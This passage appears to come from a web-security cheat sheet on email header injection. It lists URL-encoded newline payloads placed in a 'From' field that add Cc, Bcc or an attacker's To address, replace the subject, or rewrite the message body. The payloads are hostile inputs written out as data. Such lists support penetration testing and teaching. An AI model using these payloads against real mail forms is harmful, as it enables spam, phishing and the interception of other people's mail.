## Inject Cc and Bcc after sender argument
|
|||
|
|
|
|||
|
|
```text
|
|||
|
|
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
The message will be sent to the recipient and recipient1 accounts.
|
|||
|
|
|
|||
|
|
## Inject argument
|
|||
|
|
|
|||
|
|
```text
|
|||
|
|
From:sender@domain.com%0ATo:attacker@domain.com
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
The message will be sent to the original recipient and the attacker account.
|
|||
|
|
|
|||
|
|
## Inject Subject argument
|
|||
|
|
|
|||
|
|
```text
|
|||
|
|
From:sender@domain.com%0ASubject:This’s%20Fake%20Subject
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
The fake subject will be added to the original subject and in some cases will replace it. It depends on the mail service behavior.
|
|||
|
|
|
|||
|
|
## Change the body of the message
|
|||
|
|
|
|||
|
|
Inject a two-line feed, then write your message to change the body of the message.
|
|||
|
|
|
|||
|
|
```text
|
|||
|
|
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
|
|||
|
|
```
